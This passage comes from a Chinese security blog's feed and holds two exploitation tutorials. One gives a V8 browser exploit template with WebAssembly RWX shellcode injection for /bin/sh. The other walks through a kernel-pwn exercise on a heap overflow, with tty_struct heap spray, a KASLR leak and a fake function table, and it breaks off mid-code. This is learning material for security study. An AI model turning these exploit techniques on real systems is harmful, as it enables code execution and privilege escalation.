class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> wasmCode = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>([<span class="number">0</span>,<span class="number">97</span>,<span class="number">115</span>,<span class="number">109</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">133</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">96</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">127</span>,<span class="number">3</span>,<span class="number">130</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">112</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">5</span>,<span class="number">131</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">129</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">145</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">6</span>,<span class="number">109</span>,<span class="number">101</span>,<span class="number">109</span>,<span class="number">111</span>,<span class="number">114</span>,<span class="number">121</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">109</span>,<span class="number">97</span>,<span class="number">105</span>,<span class="number">110</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">10</span>,<span class="number">138</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">65</span>,<span class="number">42</span>,<span class="number">11</span>]);</span><br><span class="line"><span class="keyword">var</span> wasmModule = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Module</span>(wasmCode);</span><br><span class="line"><span class="keyword">var</span> wasmInstance = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Instance</span>(wasmModule, &#123;&#125;);</span><br><span class="line"><span class="keyword">var</span> f = wasmInstance.<span class="property">exports</span>.<span class="property">main</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> f64 = <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="number">1</span>);</span><br><span class="line"><span class="keyword">var</span> bigUint64 = <span class="keyword">new</span> <span class="title class_">BigUint64Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"><span class="keyword">var</span> u32 = <span class="keyword">new</span> <span class="title class_">Uint32Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">d2u</span>(<span class="params">v</span>) &#123;</span><br><span class="line">  f64[<span class="number">0</span>] = v;</span><br><span class="line">  <span class="keyword">return</span> u32;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">u2d</span>(<span class="params">lo, hi</span>) &#123;</span><br><span class="line">  u32[<span class="number">0</span>] = lo;</span><br><span class="line">  u32[<span class="number">1</span>] = hi;</span><br><span class="line">  <span class="keyword">return</span> f64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">ftoi</span>(<span class="params">f</span>)</span><br><span class="line">&#123;</span><br><span class="line">  f64[<span class="number">0</span>] = f;</span><br><span class="line">    <span class="keyword">return</span> bigUint64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">itof</span>(<span class="params">i</span>)</span><br><span class="line">&#123;</span><br><span class="line">    bigUint64[<span class="number">0</span>] = i;</span><br><span class="line">    <span class="keyword">return</span> f64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">hex</span>(<span class="params">i</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> i.<span class="title function_">toString</span>(<span class="number">16</span>).<span class="title function_">padStart</span>(<span class="number">8</span>, <span class="string">&quot;0&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fakeObj</span>(<span class="params">addr_to_fake</span>)</span><br><span class="line">&#123;</span><br><span class="line">    ?</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addressOf</span>(<span class="params">obj_to_leak</span>)</span><br><span class="line">&#123;</span><br><span class="line">    ?</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">read64</span>(<span class="params">addr</span>)</span><br><span class="line">&#123;</span><br><span class="line">    fake_array[<span class="number">1</span>] = <span class="title function_">itof</span>(addr - <span class="number">0x8n</span> + <span class="number">0x1n</span>);</span><br><span class="line">    <span class="keyword">return</span> fake_object[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">write64</span>(<span class="params">addr, data</span>)</span><br><span class="line">&#123;</span><br><span class="line">    fake_array[<span class="number">1</span>] = <span class="title function_">itof</span>(addr - <span class="number">0x8n</span> + <span class="number">0x1n</span>);</span><br><span class="line">    fake_object[<span class="number">0</span>] = <span class="title function_">itof</span>(data);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">copy_shellcode_to_rwx</span>(<span class="params">shellcode, rwx_addr</span>)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">var</span> data_buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(shellcode.<span class="property">length</span> * <span class="number">8</span>);</span><br><span class="line">  <span class="keyword">var</span> data_view = <span class="keyword">new</span> <span class="title class_">DataView</span>(data_buf);</span><br><span class="line">  <span class="keyword">var</span> buf_backing_store_addr_lo = <span class="title function_">addressOf</span>(data_buf) + <span class="number">0x18n</span>;</span><br><span class="line">  <span class="keyword">var</span> buf_backing_store_addr_up = buf_backing_store_addr_lo + <span class="number">0x8n</span>;</span><br><span class="line">  <span class="keyword">var</span> lov = <span class="title function_">d2u</span>(<span class="title function_">read64</span>(buf_backing_store_addr_lo))[<span class="number">0</span>];</span><br><span class="line">  <span class="keyword">var</span> rwx_page_addr_lo = <span class="title function_">u2d</span>(lov, <span class="title function_">d2u</span>(rwx_addr)[<span class="number">0</span>]);</span><br><span class="line">  <span class="keyword">var</span> hiv = <span class="title function_">d2u</span>(<span class="title function_">read64</span>(buf_backing_store_addr_up))[<span class="number">1</span>];</span><br><span class="line">  <span class="keyword">var</span> rwx_page_addr_hi = <span class="title function_">u2d</span>(<span class="title function_">d2u</span>(rwx_addr, hiv)[<span class="number">1</span>]);</span><br><span class="line">  <span class="keyword">var</span> buf_backing_store_addr = <span class="title function_">ftoi</span>(<span class="title function_">u2d</span>(lov, hiv));</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;[*] buf_backing_store_addr: 0x&quot;</span>+<span class="title function_">hex</span>(buf_backing_store_addr));</span><br><span class="line"></span><br><span class="line">  <span class="title function_">write64</span>(buf_backing_store_addr_lo, <span class="title function_">ftoi</span>(rwx_page_addr_lo));</span><br><span class="line">  <span class="title function_">write64</span>(buf_backing_store_addr_up, <span class="title function_">ftoi</span>(rwx_page_addr_hi));</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; shellcode.<span class="property">length</span>; ++i)</span><br><span class="line">    data_view.<span class="title function_">setFloat64</span>(i * <span class="number">8</span>, <span class="title function_">itof</span>(shellcode[i]), <span class="literal">true</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> double_array = [<span class="number">1.1</span>];</span><br><span class="line"><span class="keyword">var</span> obj = &#123;<span class="string">&quot;a&quot;</span> : <span class="number">1</span>&#125;;</span><br><span class="line"><span class="keyword">var</span> obj_array = [obj];</span><br><span class="line"><span class="keyword">var</span> array_map = ?;</span><br><span class="line"><span class="keyword">var</span> obj_map = ?;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> fake_array = [</span><br><span class="line">  array_map,</span><br><span class="line">  <span class="title function_">itof</span>(<span class="number">0x4141414141414141n</span>)</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">fake_array_addr = <span class="title function_">addressOf</span>(fake_array);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;[*] leak fake_array addr: 0x&quot;</span> + <span class="title function_">hex</span>(fake_array_addr));</span><br><span class="line">fake_object_addr = fake_array_addr - <span class="number">0x10n</span>;</span><br><span class="line"><span class="keyword">var</span> fake_object = <span class="title function_">fakeObj</span>(fake_object_addr);</span><br><span class="line"><span class="keyword">var</span> wasm_instance_addr = <span class="title function_">addressOf</span>(wasmInstance);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;[*] leak wasm_instance addr: 0x&quot;</span> + <span class="title function_">hex</span>(wasm_instance_addr));</span><br><span class="line"><span class="keyword">var</span> rwx_page_addr = <span class="title function_">read64</span>(wasm_instance_addr + <span class="number">0x68n</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;[*] leak rwx_page_addr: 0x&quot;</span> + <span class="title function_">hex</span>(<span class="title function_">ftoi</span>(rwx_page_addr)));</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> shellcode = [</span><br><span class="line">  <span class="number">0x2fbb485299583b6an</span>,</span><br><span class="line">  <span class="number">0x5368732f6e69622fn</span>,</span><br><span class="line">  <span class="number">0x050f5e5457525f54n</span></span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="title function_">copy_shellcode_to_rwx</span>(shellcode, rwx_page_addr);</span><br><span class="line"><span class="title function_">f</span>();</span><br></pre></td></tr></table></figure></div><p>本文前面用到的函数定义如下</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">float_to_int</span>(<span class="params">f</span>)  </span><br><span class="line">&#123;  </span><br><span class="line">  f64[<span class="number">0</span>] = f;  </span><br><span class="line">    <span class="keyword">return</span> bigUint64[<span class="number">0</span>];  </span><br><span class="line">&#125;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">function</span> <span class="title function_">int_to_float</span>(<span class="params">i</span>)  </span><br><span class="line">&#123;  </span><br><span class="line">    bigUint64[<span class="number">0</span>] = i;  </span><br><span class="line">    <span class="keyword">return</span> f64[<span class="number">0</span>];  </span><br><span class="line">&#125;  </span><br></pre></td></tr></table></figure></div>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/09/21/V8/V8%E5%88%A9%E7%94%A8(1)-%E5%9F%BA%E7%A1%80/</id>
    <link href="https://staticccccccc.github.io/2024/09/21/V8/V8%E5%88%A9%E7%94%A8(1)-%E5%9F%BA%E7%A1%80/"/>
    <published>2024-09-21T13:00:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>V8系列文章均基于<a class="link"   href="https://github.com/ErodedElk/Chaos-me]]>
    </summary>
    <title>V8利用(1)-基础</title>
    <updated>2024-09-21T13:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="kernel pwn" scheme="https://staticccccccc.github.io/categories/kernel-pwn/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>本系列文章记录笔者在跟随Pawnable学习Kernel Pwn过程中的一些问题与学到的东西。本文是该系列的第二篇文章。</p><h2 id="漏洞模块分析"><a href="#漏洞模块分析" class="headerlink" title="漏洞模块分析"></a>漏洞模块分析</h2><p><code>module_read</code>和<code>module_write</code>函数存在明显堆溢出</p><p><code>module_read</code></p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 __fastcall <span class="title function_">module_read</span><span class="params">(__int64 a1, __int64 a2, <span class="type">unsigned</span> __int64 a3)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v5; <span class="comment">// [rsp+48h] [rbp-10h]</span></span><br><span class="line"></span><br><span class="line">  printk(&amp;unk_491);</span><br><span class="line">  v5 = g_buf;</span><br><span class="line">  <span class="keyword">if</span> ( a3 &gt;= <span class="number">0x80000000</span> )</span><br><span class="line">    BUG();</span><br><span class="line">  check_object_size(g_buf, a3, <span class="number">1u</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !copy_to_user(a2, v5, a3) )</span><br><span class="line">    <span class="keyword">return</span> a3;</span><br><span class="line">  printk(&amp;unk_4A7);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">-22LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><code>module_write</code></p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 __fastcall <span class="title function_">module_write</span><span class="params">(__int64 a1, __int64 a2, <span class="type">unsigned</span> __int64 a3)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v5; <span class="comment">// [rsp+50h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  printk(&amp;unk_4BE);</span><br><span class="line">  v5 = g_buf;</span><br><span class="line">  <span class="keyword">if</span> ( a3 &gt;= <span class="number">0x80000000</span> )</span><br><span class="line">    BUG();</span><br><span class="line">  check_object_size(g_buf, a3, <span class="number">0</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !copy_from_user(v5, a2, a3) )</span><br><span class="line">    <span class="keyword">return</span> a3;</span><br><span class="line">  printk(&amp;unk_4D5);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">-22LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="内核堆内存分配机制"><a href="#内核堆内存分配机制" class="headerlink" title="内核堆内存分配机制"></a>内核堆内存分配机制</h2><p>这部分内容尤其重要，但初学者很难完全搞懂其细节分配机制，因此我们主要围绕以下两点来看就行：</p><ol><li>内核如何根据要分配的大小确定切块的位置，以及切块时如何管理每个块；</li><li>在释放对应块后，内核如何管理这些空闲内存块。</li></ol><p>但因为笔者自己对这块也不是很了解，所以此处推荐参考evilpan师傅的<a class="link"   href="https://evilpan.com/2020/03/21/linux-slab/" >《Linux内核的内存管理与漏洞利用案例分析》<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>，和a3师傅的<a class="link"   href="https://arttnba3.cn/2023/02/24/OS-0X04-LINUX-KERNEL-MEMORY-6.2-PART-III/" >Linux Kernel 内存管理浅析 III - Slub Allocator<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h2 id="漏洞利用思路简析"><a href="#漏洞利用思路简析" class="headerlink" title="漏洞利用思路简析"></a>漏洞利用思路简析</h2><p>在堆溢出中，我们无法像栈溢出那样直接劫持控制流造成<code>kernel panic</code>，而是需要利用堆溢出来覆写内核对象，在覆写后就可能实现劫持控制流。而要利用它，我们就需要构造堆布局为如下这种情形：在一个可溢出的脆弱对象后存在一个目标内核对象，这样我们在溢出后就可以轻松修改目标对象中的某些值。</p><p>在内核中，要实现这种情形，我们最常用的就是<code>Heap Spray（堆喷）</code>，它的目标就是喷射大量内核对象，大大提升目标对象存在于脆弱对象后的概率，从而有效完成利用。在本题中，我们可以使用如下代码：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">//heap spray</span></span><br><span class="line"><span class="type">int</span> spray[<span class="number">100</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">50</span>; i++)</span><br><span class="line">spray[i] = open(<span class="string">&quot;/dev/ptmx&quot;</span>, O_RDONLY | O_NOCTTY);</span><br><span class="line"><span class="type">int</span> fd = open(<span class="string">&quot;/dev/holstein&quot;</span>, <span class="number">2</span>);</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">50</span>; i &lt; <span class="number">100</span>; i++)</span><br><span class="line">spray[i] = open(<span class="string">&quot;/dev/ptmx&quot;</span>, O_RDONLY | O_NOCTTY);</span><br><span class="line"></span><br><span class="line"><span class="comment">//heap overflow write</span></span><br><span class="line"><span class="type">char</span> buf[<span class="number">0x500</span>];</span><br><span class="line"><span class="built_in">memset</span>(buf, <span class="string">&#x27;A&#x27;</span>, <span class="number">0x500</span>);</span><br><span class="line">write(fd, buf, <span class="number">0x500</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>在覆盖前对应脆弱对象内存地址为</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/<span class="number">16</span>gx <span class="number">0xffff903c81cff000</span></span><br><span class="line"><span class="number">0xffff903c81cff000</span>:<span class="number">0x0000000000000000</span><span class="number">0x0000000000000000</span></span><br><span class="line"><span class="number">0xffff903c81cff010</span>:<span class="number">0x0000000000000000</span><span class="number">0x0000000000000000</span></span><br><span class="line"><span class="number">0xffff903c81cff020</span>:<span class="number">0x0000000000000000</span><span class="number">0x0000000000000000</span></span><br></pre></td></tr></table></figure></div><p>其后的tty结构体地址为</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/<span class="number">16</span>gx <span class="number">0xffff903c81cff000</span>+<span class="number">0x400</span></span><br><span class="line"><span class="number">0xffff903c81cff400</span>:<span class="number">0x0000000100005401</span><span class="number">0x0000000000000000</span></span><br><span class="line"><span class="number">0xffff903c81cff410</span>:<span class="number">0xffff903c8125fe40</span><span class="number">0xffffffff8fc38880</span></span><br><span class="line"><span class="number">0xffff903c81cff420</span>:<span class="number">0x0000000000000032</span><span class="number">0x0000000000000000</span></span><br><span class="line"><span class="number">0xffff903c81cff430</span>:<span class="number">0x0000000000000000</span><span class="number">0xffff903c81cff438</span></span><br></pre></td></tr></table></figure></div><p>此时如果我们溢出写入，那么就会覆盖到这个tty结构体，我们通过对<code>/dev/ptmx</code>进行操作来调用tty结构体中函数表中的函数。接下来我们来尝试一步步利用这个漏洞，原题目开启了所有保护，我们先关闭所有保护，再逐个开启exploit</p><h2 id="Add-KASLR"><a href="#Add-KASLR" class="headerlink" title="Add KASLR"></a>Add KASLR</h2><p>添加了KASLR之后，我们需要泄露信息来计算地址，而tty结构体中<code>+0x18</code>处为<code>const struct tty_operations *ops;</code>，通过这个指针就可以泄露KASLR基址（该地址减去0xc38880即可），<code>+0x38</code>处存在一个指向自己的指针，可用来找到堆地址。</p><h3 id="泄露地址"><a href="#泄露地址" class="headerlink" title="泄露地址"></a>泄露地址</h3><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//leak KASLR base</span></span><br><span class="line"><span class="type">char</span> buf[<span class="number">0x500</span>];</span><br><span class="line"><span class="type">long</span> KASLR_BASE = <span class="number">0</span>;</span><br><span class="line"><span class="type">long</span> g_buf = <span class="number">0</span>;</span><br><span class="line"><span class="built_in">memset</span>(buf, <span class="string">&#x27;A&#x27;</span>, <span class="number">0x500</span>);</span><br><span class="line">read(fd, buf, <span class="number">0x500</span>);</span><br><span class="line">KASLR_BASE = *((<span class="type">long</span>*)&amp;buf[<span class="number">0x400</span>+<span class="number">0x18</span>]) - <span class="number">0xc38880</span>;</span><br><span class="line">g_buf = *((<span class="type">long</span>*)&amp;buf[<span class="number">0x400</span>+<span class="number">0x38</span>]) - <span class="number">0x438</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;KASLR: %p\n&quot;</span>, (<span class="type">char</span>*)KASLR_BASE);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;g_buf: %p\n&quot;</span>, (<span class="type">char</span>*)g_buf);</span><br></pre></td></tr></table></figure></div><h3 id="漏洞验证POC"><a href="#漏洞验证POC" class="headerlink" title="漏洞验证POC"></a>漏洞验证POC</h3><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">        <span class="comment">//heap spray</span></span><br><span class="line">        <span class="type">int</span> spray[<span class="number">100</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">50</span>; i++)</span><br><span class="line">            spray[i] = open(<span class="string">&quot;/dev/ptmx&quot;</span>, O_RDONLY | O_NOCTTY);</span><br><span class="line">        <span class="type">int</span> fd = open(<span class="string">&quot;/dev/holstein&quot;</span>, <span class="number">2</span>);</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">50</span>; i &lt; <span class="number">100</span>; i++)</span><br><span class="line">            spray[i] = open(<span class="string">&quot;/dev/ptmx&quot;</span>, O_RDONLY | O_NOCTTY);</span><br><span class="line"></span><br><span class="line"><span class="comment">//leak KASLR base</span></span><br><span class="line">    <span class="type">char</span> buf[<span class="number">0x500</span>];</span><br><span class="line">    <span class="type">long</span> KASLR_BASE = <span class="number">0</span>;</span><br><span class="line">    <span class="type">long</span> g_buf = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">memset</span>(buf, <span class="string">&#x27;A&#x27;</span>, <span class="number">0x500</span>);</span><br><span class="line">    read(fd, buf, <span class="number">0x500</span>);</span><br><span class="line">    KASLR_BASE = *((<span class="type">long</span>*)&amp;buf[<span class="number">0x400</span>+<span class="number">0x18</span>]) - <span class="number">0xc38880</span>;</span><br><span class="line">    g_buf = *((<span class="type">long</span>*)&amp;buf[<span class="number">0x400</span>+<span class="number">0x38</span>]) - <span class="number">0x438</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;KASLR: %p\n&quot;</span>, (<span class="type">char</span>*)KASLR_BASE);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;g_buf: %p\n&quot;</span>, (<span class="type">char</span>*)g_buf);</span><br><span class="line"></span><br><span class="line"><span class="comment">// craft fake function table</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> *p = (<span class="type">unsigned</span> <span class="type">long</span> *)&amp;buf;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x40</span>; i++) </span><br><span class="line">&#123;</span><br><span class="line">        *p++ = <span class="number">0xffffffffdead0000</span> + 